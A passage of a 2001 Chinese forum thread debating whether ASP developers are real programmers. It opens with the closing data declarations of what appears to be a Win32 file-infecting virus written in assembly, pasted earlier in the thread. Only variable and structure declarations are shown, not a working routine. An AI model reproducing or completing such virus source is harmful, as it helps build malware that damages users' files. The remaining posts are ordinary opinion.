a_WriteFile dd ?
a_SetFilePointer dd ?
a_GetCurrentDirectoryA dd ?
a_SetCurrentDirectoryA dd ?
a_OutputDebugStringA dd ?
f_handle dd ? ;file handle
fm_handle dd ? ;file mapping handle
s_mem dd ? ;size of host code (for stack manipulationz)
WFD WIN32_FIND_DATA ? ;WIN32_FIND_DATA structure
prev_dir db MAX_PATH dup (?);original directory
virtual_end:
ends
End Start ;that's all folx, wasn't that kewl? ;-)
Top
30 楼flikg(k的传说)回复于 2001-07-16 23:21:16 得分 0
本人是学ASP和VB的,
觉得只要能更好达到既定的目标,
那管用的是什么东东。
Top
31 楼whitelion(www.ccproj.com)回复于 2001-07-17 00:19:26 得分 0
什么是程序?写程序的就是程序员Top
32 楼stanely(俺是邢她汉子)回复于 2001-07-17 00:33:45 得分 0
呵呵。。是程序员又怎样,不是又能怎样?
写了半天ascii文件不就是为了口饭?
看谁嘴大吃八方了!!Top
33 楼freezwy(网络自由人)回复于 2001-07-17 08:19:39 得分 0
坚决同意stanely(暗黑)的说法Top
34 楼softwarehe(heda)回复于 2001-07-17 09:46:13 得分 0
做asp的是程序员,可惜是非常低级的程序员,哪个水平高一点的还天天死抱着asp呢。
做什么都要花工夫,不过不要把自己埋没在这种低级的东西里边,浪费啊。
BTW,我从来不知道什么叫asp,我们公司兼职的学生才去做,因为简单。Top
35 楼mirageTF(mirageTF)回复于 2001-07-17 10:01:53 得分 0
相信真正的程序员是没空去贬低别人的,那些说ASP不是程序的人估计也不是什么高手。Top
36 楼goodmyluck(我不是人渣)回复于 2001-07-17 10:21:33 得分 0
我是学VC的!不是高手!。。
我也学过ASP,包括JAVASCRIPT,VBSCRIPT,但是只用了2个月的时间就基本了。
但是我学VC用了3年,现在还不是太懂!!
我相信真正的VC程序员,学ASP可以在1,2个月中基本掌握,
如果一个ASP程序员去学VC,您能在1,2个月掌握吗????Top
37 楼dickmi(我用心感受世界)回复于 2001-07-17 10:37:49 得分 0
以前我也做过asp的,现在做java,感觉是什么呢,就觉得asp做的话那就叫coding,java的话那叫设计,真的很不一样,做asp做得很好,也只是偏向于如何实现功能,如何增加效率,一个asp高手也只能说他的程序功能多么强,算法多么棒,代码有多长,懂多少语言,那就叫coding,最多算高级的coding,但是进入到纯粹的语言中如c++,java等,就要考虑组织的关系,层次结构,一些更抽象的东西,那就叫设计,(那种用仅用可视化编程来实现功能的除外)虽然说这是语言的特性,或者说适用性造成的,但是相差真的很大。
我的观点就是,如果仅是用来实现功能,做一个coding,不管你用vc,asp,不管难易如何,两者都一样,如果你要成为一个设计developer,不是programmer,的话asp有它的局限性,最好早接触其它的语言。Top
38 楼zhu_liping(zz)回复于 2001-07-17 10:56:56 得分 0
编写asp程序的并不一定就是程序员,当然会写也并不一定就是程序员了,现在不是还有程序员考试么?
我认为是不是程序员,还到看他用到了什么程度!
Top
39 楼greysnake(greysnake)回复于 2001-07-17 11:02:56 得分 0
程序员就是程序员,不管你们怎么说,程序员还是程序员Top
40 楼laozi(老子)回复于 2001-07-17 11:13:39 得分 0
很简单,有些人总是称自己行走江湖,几个伙计拿根大棒,鱼肉乡里,这当然也算行走江湖。
可不巧的是他们中的一些人正好住在华山下,无意中看到第999次华山论剑。有些人觉悟了明白自己应该调整目标,从头学起,有些人不以为然,我拿根大棒也能欺负乡里乡亲(乡下人).
中国软件业要腾飞,不是靠asp的,也不是靠网页。不过任何一门学科都呈金字塔型,塔基越大,将来越高,稳定性越强。至于本人吗?我是塔基的塔基,不过搞asp的,做埃及的泥土吧!这比较适合你们,你们都要挺住了,我得踩着你们往上爬呢!Top
41 楼jixian(极限)回复于 2001-07-17 15:43:56 得分 0
asp是长拳
vc是易筋经
长拳熟练的可打过易筋经不熟的
易筋经熟的可打过任何练长拳的!Top
42 楼jianqin_cai(Jesse.Cai)回复于 2001-07-17 16:07:49 得分 0
其实这个问题很无聊,你们不觉得吗?Top
43 楼tonnycncn(托尼)(weiw.com)回复于 2001-07-17 21:18:40 得分 0
谁说搞ASP的不是程序员,他以为他是谁?他知道ASP有多少,大言不惭!
一门技术,不管是哪门技术,都有深浅!对吧,朋友们!
Top
44 楼longqiang(开心就好!)回复于 2001-07-17 21:53:23 得分 0
我做ASP两年了,这期间就是做网站了,现在挺后悔的,我感觉较浅层次的ASP实在没什么技术含量,如果不是自己做组件,那就不能说些几句ASP就是标准的程序员,还差的远呢,连程序设计的基本思想都可能没有掌握,试问:除了ASP你还会什么,Java、C#、Delphi、UML、OOP等等,你真正懂多少,在项目开发中你有多少创新点,拿到一个项目你是如何规划实现的,在这个过程中,你考虑了多少软件工程方面的问题(你考虑过你的程序的升级吗,考虑过怎么做才能做好的把你的应用扩展吗)?
需要了解得太多了,不是说任何程序员都要求懂这么多,而是说明你如果懂了这些,你会把你的主管交给你的工作从容不迫地以最好的方式去完成。
我也是刚刚认识到这些不久,正在转型,正在探索基本的编程思想,在学Java、Delphi、XML,过段时间有条件了学一下C#,也接触一下第五代开发语言。愿与大家共同进步,一起探讨程序员成长之路。
QQ:11372091
E-mail:qihangsoft@sina.comTop
45 楼freezwy(网络自由人)回复于 2001-07-17 22:49:41 得分 0
tonnycncn(托尼)老兄,我也是在C#受的气,所以来这里调查一下的,算了,无所谓的,自己知道就是了。
longqiang(longqiang)你的说法我明白,我只能是理解的。
继续努力吧,反正都是个吃饭,不要说的很高尚,很多东西大家心里是最清楚的,主要是看不惯有些人的狂妄自大。
本来是想解解气,没有想到这个帖子竟然引起这么多人的关心。我想,肯定有一天,大家会明白这个东西留给大家的是什么。Top
46 楼lmh79(阿楚)回复于 2001-07-17 23:56:34 得分 0
我只把ASP当作过渡性的东西,我很少研究他,可以用他做事就行,因为我也不看好这个东西,目前用他赚钱,过日子加学习其他的!Top
47 楼longqiang(开心就好!)回复于 2001-07-18 07:44:14 得分 0
其实ASP也有很多的技术可以和那些重量级的程序设计语言一较高下的,比如WAP Mail等,问题的关键不在于使用什么语言,而是如何利用这门语言,结合创意,做一些创造性的工作,整天用它来编个留言薄等等的小应用就不好说了。语言是其次的,关键是创造!Top
48 楼freezwy(网络自由人)回复于 2001-07-19 11:01:31 得分 0
这么多人关注Top
49 楼asb1000(逍遥)回复于 2001-07-19 11:04:17 得分 0
爱是不是,谁稀罕!!!!!!!!!!!!!!!!!!!!!Top
50 楼widewave(冯雨(历史事实))回复于 2001-07-19 15:47:05 得分 0
现在还有这么多的偏见啊!不要再把某一种语言捧上天,把别的语言打下地狱了!!大家只是分工不同而已!!!Top
51 楼liugys(liuliu)回复于 2001-07-19 22:57:50 得分 0
你倒是做个很漂亮的页面出来呀!Top
52 楼piaoyun()回复于 2001-07-20 01:16:15 得分 0
我用VC做项目已经有两年多了,不敢说精通也算比较熟悉了。其实ASP虽然相对简单,而简单也只不过是在表面。有很多ASP高级程序员是将VC,VB和ASP结合的方式混合编程的,他们所学不比任何一个程序员差,你能说不是程序员吗?其实语言重在运用,在很多时候都要使用多个语言取长补短,这样才能更好的实现自己的项目。
随便说说,呵呵。。Top
53 楼kongming(孔明)回复于 2001-07-20 02:00:48 得分 0
大家不过是针对不同的应用层罢了!
C针对系统级,ASP针对WEB程序。
如果你认为只有C才是程序员的话,那你就用C写个WEB程序吧!Top
54 楼Pasp(CJY)回复于 2001-07-20 08:59:22 得分 0
我是做asp的,在没有作com之前,我觉得的确不能算是程序员,只能算web开发者。
asp哪点东西,从来不用api,没有复杂的算法,。。。Top
55 楼stanely(俺是邢她汉子)回复于 2001-07-20 09:23:48 得分 0
那到底程序员的确切定义是什么?
我糊涂......Top
56 楼ar7_top(黑白呸,男生女生呸)回复于 2001-07-20 09:35:43 得分 0
虽然我是 ASP 程序员
但是kongming(孔明)兄
其实用 C 语言也是可以写出 WEB 程序

